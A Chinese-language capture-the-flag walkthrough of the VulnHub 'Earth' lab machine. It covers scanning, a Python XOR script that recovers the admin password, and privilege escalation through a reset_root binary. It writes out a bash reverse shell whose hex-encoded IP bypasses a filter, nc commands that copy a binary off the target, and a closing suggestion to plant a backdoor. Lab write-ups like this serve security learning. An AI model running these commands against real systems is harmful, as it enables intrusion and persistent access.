VulnHub-Earth 打靶記錄 搭建靶場的時候一定要使用NATserver或者其他有虛擬網關的網路模式否則無法掃描到埠開放也無法訪問。 知識點 NMAP參數 -sV 獲取系統信息 -sT TCP掃描可能會留下日誌記錄 -sC 使用預設腳本(在-A模式下不需要) -p1-xxx 掃描埠號 - ...
目錄
VulnHub-Earth 打靶記錄
搭建靶場的時候一定要使用NATserver或者其他有虛擬網關的網路模式否則無法掃描到埠開放也無法訪問。
知識點
- NMAP參數
-sV
獲取系統信息-sT
TCP掃描可能會留下日誌記錄-sC
使用預設腳本(在-A模式下不需要)-p1-xxx
掃描埠號-p-
==>等價於-p1-65535
不設置埠就掃描預設埠-Pn
繞過禁用ping-A
進攻性掃描也會運行預設腳本)
- arp-scan arp利用arp地址解析協議探測掃描
- -I 大寫i 用以指定用來掃描的網卡 如果未指定會使用網卡序號最低的一個 也就是eth0但是如果指定 那麼指定的網卡必須支持ARP
- -l 小寫L 表示從網路介面的ip和掩碼生成列表進行掃描
- dirb 目錄掃描 直接dirb https://target.com
- -i 使用不區分大小寫
- -l 小寫L 掃描到信息後本地列印 沒有這個選項
目標探測
arp-scan -I eth0 -l
#利用arp掃描eth0網卡所在區域網中所有存活的主機
nmap -sV -Pn -sT -sC 10.0.3.5
如果沒有結果可以嘗試全埠掃描- Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local 根據本行信息發現目標使用了dns解析 只能在本地hosts中寫上解析
信息收集
-
dirb https://earth.local
&dirb https://terratest.earth.local/
使用dirb掃描web應用目錄 需要註意的是這裡掃描要掃描https協議下的因為上一步的nmap掃描出來的應用是443埠也就是https協議所以這裡也要用https -
在掃描https://terratest.earth.local/時發現該功能變數名稱下有個robots.txt泄露 進去發現有一個(Disallow: /testingnotes.*) 代表有這個名字的文件 更換尾碼名可以得到尾碼txt頁面下有一個說明文件 其中泄露的信息 包括管理員用戶名terra 並且第三行泄露了一個用以加密的文件 以及加密的演算法為XOR
-
利用python代碼進行異或運算獲取16進位字元串 併進行解密
import base64 import binascii data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a" #data1中的數據為https://earth.local頁面中最下麵一行數據的內容 如果不確定是哪個可以都試試 只有這個數據可以異或出來有效數據 f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode() #(open('a.txt', 'rb') rb參數表示獲取到的是 testdata.txt中內容的16進位 其整體結果為2進位的表現形式。testdata.txt 是上一步掃描獲取到的信息 可以複製出來 也可以 使用命令:wget https://terratest.earth.local/testdata.txt --no-check-certificate #binascii.b2a_hex 把二進位形式的16進位字元串轉換為16進位的形式 res=hex(int(data1,16) ^ int(f,16)) #&與 |或 ^異或 ~非 >>右移 <<左移 異或的時候需要知道必須要與加密文件大小相同 print(res) #輸出異或運算後的16進位字元串
-
將獲取到的16進位字元串進行字元轉換(線上解密工具) 分析內容對以下字元串進行了多次重覆輸出
earthclimatechangebad4humans
根據上一步泄露的testingnotes.txt文檔中信息猜測為密碼
Shell反彈&信息二次收集
- 使用收集到的信息進行後臺登錄(user:terra passwd:earthclimatechangebad4humans)登錄地址為信息收集頁面發現的admin頁面嘗試登錄網站併成功後發現是一個 命令執行的界面
- 執行命令
find / -name "\*flag\*"
在所有的內容中鎖定user_flag.txt為可疑文件
cat 獲取flag - cat /var/earth_web/user_flag.txt 獲取文件內容
[user_flag_3353b67d6437f07ba7d34afd7d2fc27d]
提權
-
反彈 shell 由於無法用nc反彈成功考慮用bash反彈 發現依舊反彈失敗
經測試可能過濾了IP嘗試使用十六進位格式的ip地址繞過(其實在/var/earth_web/secure_message/forms.py 中可以發現過濾代碼 )
bash -i >& /dev/tcp/0X0a000304/5566 0>&1
( 由於過濾了IP的格式改為16進位 轉換地址 ) -
由於反彈的shell許可權不是root。
嘗試利用命令繼續查找有執行許可權的命令 find / -perm -u=s -type f 2>/dev/null -
發現有一個reset_root 命令猜測意思是重置root 用strings命令列印文件中可列印的字元 看了後發現跟沒看一樣 嘗試運行 報錯
-
用以下命令將文件上傳到本地環境下
攻擊機:nc -nlvp 1234 >reset_root
靶機shell:nc 192.168.43.118 1234 < /usr/bin/reset_root -
chmod 777 reset_root 給個許可權
-
strace reset_root 解析運行看結果(在執行nc -nlvp 1234 >reset_root 命令的目錄下)本地運行 繼續報錯 提示缺少 三個文件
-
在靶機shell上創建這三個文件後
touch /dev/shm/kHgTFI5G touch /dev/shm/Zw7bV9U5 touch/tmp/kcM0Wewe -
繼續運行 ./reset_root
-
提示密碼重置為Earth了
-
------->至此獲得root許可權。
許可權維持
上傳後門木馬即可獲得許可權維持。